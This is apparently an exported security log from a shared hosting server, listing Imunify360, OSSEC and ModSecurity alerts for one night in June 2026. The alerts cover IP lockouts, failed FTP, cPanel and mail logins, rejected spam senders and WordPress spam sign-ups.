Jun  5 23:07:11 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.35.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.202
country_id: 3469034
description:
Jun  5 23:07:15 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.196
country_id: 2510769
description:
Jun  5 23:07:33 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.42
country_id: 953987
description:
Jun  5 23:07:34 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.89.74
country_id: 3865483
description:
Jun  5 23:07:40 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.89.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.171
country_id: 953987
description:
Jun  5 23:07:11 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.63
country_id: 953987
description:
Jun  5 23:07:11 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.196
country_id: 2510769
description:
Jun  5 23:07:47 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.42
country_id: 953987
description:
Jun  5 23:07:50 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.89.74
country_id: 3865483
description:
Jun  5 23:07:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.89.74 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun  5 23:09:34 ns5 pure-ftpd[2125546]: (?@47.84.199.24) [WARNING] Authentication failed for user [butodra]


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 120.48.142.55
country_id: 1814991
description:
Jun  5 23:09:37 ns5 pure-ftpd[2125557]: (?@120.48.142.55) [WARNING] Authentication failed for user [root]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.123
country_id: 3175395
description:
Jun  5 23:10:23 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 189.188.79.35
country_id: 3996063
description:
2026-06-05 23:09:55 H=([192.168.0.58]) [189.188.79.35]:53402 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<juniodir@outlook.com> rejected RCPT <info@magnarx.mx>: SMTP AUTH is required for message submission on port 465


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.79
country_id: 3469034
description:
Jun  5 23:10:04 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.207.87.54
country_id: 1168579
description:
2026-06-05 23:10:05 H=([103.207.87.54]) [103.207.87.54]:63558 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 120.131.12.248
country_id: 1814991
description:
Jun  5 23:12:15 ns5 pure-ftpd[2127655]: (?@120.131.12.248) [INFO] New connection from 120.131.12.248


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 120.131.12.248
country_id: 1814991
description:
Jun  5 23:12:21 ns5 pure-ftpd[2127655]: (?@120.131.12.248) [WARNING] Authentication failed for user [root]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 3.8.118.220
country_id: 2635167
description:
[2026-06-05 23:12:38 +0000] info [cpaneld] 3.8.118.220 - enadamso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.82
country_id: 798544
description:
Jun  5 23:12:38 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 23:12:50 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 23:12:52 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:55585: 535 Incorrect authentication data (set_id=user)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.82
country_id: 798544
description:
Jun  5 23:12:51 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.255.183.126
country_id: 3865483
description:
Jun  5 23:12:59 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.255.183.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.157.58.117
country_id: 2542007
description:
2026-06-05 23:13:28 dovecot_plain authenticator failed for H=(pyax5kyicadvmt3ug4xpovx2x7) [105.157.58.117]:59995: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.188
country_id: 3469034
description:
Jun  5 23:14:19 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.188 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 23:14:42 ns5 pure-ftpd[2129159]: (?@103.245.236.231) [WARNING] Authentication failed for user [admin]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.127.94.152
country_id: 798544
description:
Jun  5 23:14:16 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.127.94.152 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.74
country_id: 1269750
description:
Jun  5 23:14:19 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.96
country_id: 1269750
description:
Jun  5 23:14:37 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.96 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 23:14:39 ns5 pure-ftpd[2129159]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.155.93
country_id: 99237
description:
Jun  5 23:14:47 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.155.93 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 141.98.140.146
country_id: 783754
description:
141.98.140.146 - - [05/Jun/2026:23:15:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9724319&pdata=https%253A%252F%252Fcfpj.tg%252Fjkgc-2389letidm9.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780701304 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/jkgc-2389letidm9.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:141.98.140.146


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.96
country_id: 1269750
description:
Jun  5 23:14:45 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.150.187.29
country_id: 3469034
description:
Jun  5 23:14:48 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.150.187.29 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 43.138.243.158
country_id: 1814991
description:
Jun  5 23:15:57 ns5 pure-ftpd[2130144]: (?@43.138.243.158) [INFO] New connection from 43.138.243.158


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 43.138.243.158
country_id: 1814991
description:
Jun  5 23:16:01 ns5 pure-ftpd[2130144]: (?@43.138.243.158) [WARNING] Authentication failed for user [root]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.92
country_id: 3469034
description:
Jun  5 23:19:29 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.92 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:23-20.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.190.204.87
country_id: 6252001
description:
Jun  5 23:19:54 ns5 pure-ftpd[2132841]: (?@172.190.204.87) [INFO] New connection from 172.190.204.87


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Earn Your Unexpected Gift vamvozmviigr.blogspot.tw Ux||Email:haututy2@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 23:23:11 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:56860: 535 Incorrect authentication data (set_id=testuser2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 23:23:09 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.73.209.71
country_id: 1562822
description:
2026-06-05 23:24:26 dovecot_plain authenticator failed for H=(k2o51oqzkf7iawm9o012zdxq93k) [27.73.209.71]:50679: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.73.209.71
country_id: 1562822
description:
Jun  5 23:24:24 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.73.209.71 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 153.67.15.32
country_id: 3865483
description:
153.67.15.32 - - [05/Jun/2026:23:26:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000328&pdata=https%253A%252F%252Fcfpj.tg%252Fjkgc-358147letid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780701977 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/jkgc-358147letid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:153.67.15.32


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.73.209.71
country_id: 1562822
description:
Jun  5 23:27:37 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.73.209.71 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.73.209.71
country_id: 1562822
description:
2026-06-05 23:27:39 dovecot_plain authenticator failed for H=(693kvj78wqn8zt2h0qaicp352w1) [27.73.209.71]:32937: 535 Incorrect authentication data (set_id=papson.fiatuwo@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.87.231
country_id: 3865483
description:
Jun  5 23:32:13 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.87.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.131.240.14
country_id: 798544
description:
Jun  5 23:32:45 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.131.240.14 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 185.117.225.156
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/123.0.6312.86 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.131.240.14
country_id: 798544
description:
Jun  5 23:32:52 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.131.240.14 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 212.16.87.193
country_id: 298795
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-34.212.16.87.193||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.94.45
country_id: 6252001
description:
[2026-06-05 23:34:08 +0000] info [cpaneld] 82.40.94.45 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 23:34:09 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 23:34:11 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:61327: 535 Incorrect authentication data (set_id=testuser2)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.217.144.79
country_id: 6252001
domain: www.gls.devbase.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.0.114.41
country_id: 1814991
description:
2026-06-05 23:36:01 H=([113.0.114.41]) [113.0.114.41]:3742 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.118.89
country_id: 6252001
description:
47.251.118.89 - - [05/Jun/2026:23:38:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6669718&pdata=http%253A%252F%252Fmediatopnews.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780702716 HTTP/1.1" 302 0 mediatopnews.tg "http://mediatopnews.tg:2082/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.118.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.147.247
country_id: 690791
description:
Jun  5 23:42:35 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.147.247 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.108.228.99
country_id: 3439705
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/la-scolarisation-de-la-jeune-fille-togolaise-promue-a-suffisance/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.147.247
country_id: 690791
description:
Jun  5 23:42:48 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.147.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.97.180.45
country_id: 3469034
description:
Jun  5 23:42:54 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.97.180.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.234.178.190
country_id: 3469034
description:
Jun  5 23:43:25 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.234.178.190 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Take Out Your Sturdy Player Prize bonotdamvam.blogspot.in De||Email:fmedeo2000@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:23-44.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.254.76.66
country_id: 6252001
description:
47.254.76.66 - - [05/Jun/2026:23:43:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857121&pdata=http%253A%252F%252Ftogodailynews.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780703035 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg:2082/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.254.76.66


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.168.53.132
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:23-45.104.168.53.132||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-06-05 23:45:52 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:48118: 535 Incorrect authentication data (set_id=tps@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 82.200.217.246
country_id: 1522867
description:
2026-06-05 23:45:51 H=([82.200.217.246]) [82.200.217.246]:52640 F=<John@4452.com> rejected RCPT <contractor@confortis.tg>: Sender verify failed


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 104.168.53.132
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:aletheax13||Email:aletheabosch88@tume.juxal.org||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 31.171.1.234
country_id: 587116
description:
2026-06-05 23:47:17 H=([31.171.1.234]) [31.171.1.234]:62447 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.232
country_id: 953987
description:
Jun  5 23:49:42 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.232 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.0.114.41
country_id: 1814991
description:
2026-06-05 23:49:38 H=([113.0.114.41]) [113.0.114.41]:3097 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.232
country_id: 953987
description:
Jun  5 23:49:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.232 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.0.114.41
country_id: 1814991
description:
2026-06-05 23:51:19 H=([113.0.114.41]) [113.0.114.41]:1412 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.82
country_id: 953987
description:
Jun  5 23:54:10 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.60.212.202
country_id: 3175395
description:
Jun  5 23:54:28 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.60.212.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 82.200.217.246
country_id: 1522867
description:
2026-06-05 23:55:14 H=([82.200.217.246]) [82.200.217.246]:50254 F=<John@4452.com> rejected RCPT <contractor@confortis.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.121.96
country_id: 6252001
description:
[2026-06-05 23:56:40 +0000] info [cpaneld] 82.40.121.96 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 82.200.217.246
country_id: 1522867
description:
2026-06-05 23:57:14 H=([82.200.217.246]) [82.200.217.246]:53675 F=<John@4452.com> rejected RCPT <contractor@confortis.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.132
country_id: 3469034
description:
Jun  5 23:58:14 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.132 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.164.250
country_id: 3017382
description:
104.28.164.250 - - [06/Jun/2026:00:00:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6407834&pdata=https%253A%252F%252Fmesyscom.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780704020 HTTP/2.0" 302 0 mesyscom.com "https://mesyscom.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.6 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.164.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.156
country_id: 1880251
description:
47.128.96.156 - - [06/Jun/2026:00:00:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10209890&pdata=https%253A%252F%252Fcfpj.tg%252Fadmission%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780704026 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/admission/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.156


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.164.250
country_id: 3017382
description:
104.28.164.250 - - [06/Jun/2026:00:00:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001355&pdata=https%253A%252F%252Fmesyscom.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780704057 HTTP/2.0" 302 0 mesyscom.com "https://mesyscom.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.6 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.164.250


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-06 00:01:13 +0000] info [cpaneld] 185.213.83.243 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  6 00:01:12 ns5 pure-ftpd[2163360]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  6 00:01:17 ns5 pure-ftpd[2163360]: (?@103.245.236.231) [WARNING] Authentication failed for user [www-data]


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 47.242.116.107
country_id: 1819730
description:
Jun  6 00:01:59 ns5 pure-ftpd[2163771]: (?@47.242.116.107) [INFO] New connection from 47.242.116.107


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.242.116.107
country_id: 1819730
description:
Jun  6 00:02:05 ns5 pure-ftpd[2163771]: (?@47.242.116.107) [WARNING] Authentication failed for user [conseilnsaftogo]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.186.126
country_id: 6252001
description:
47.251.186.126 - - [06/Jun/2026:00:03:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10380140&pdata=http%253A%252F%252Fsoena.tg%253A2086%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780704226 HTTP/1.1" 302 0 soena.tg "http://soena.tg:2086/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.186.126


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.64.122
country_id: 3469034
description:
Jun  6 00:04:29 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.64.122 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:00-08.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  6 00:07:54 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-06 00:07:56 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:58693: 535 Incorrect authentication data (set_id=testuser2)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Open Your Facet Extra bonotdamvam.blogspot.no Ge||Email:mdimtiyaz1186@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.89.195.183
country_id: 6252001
description:
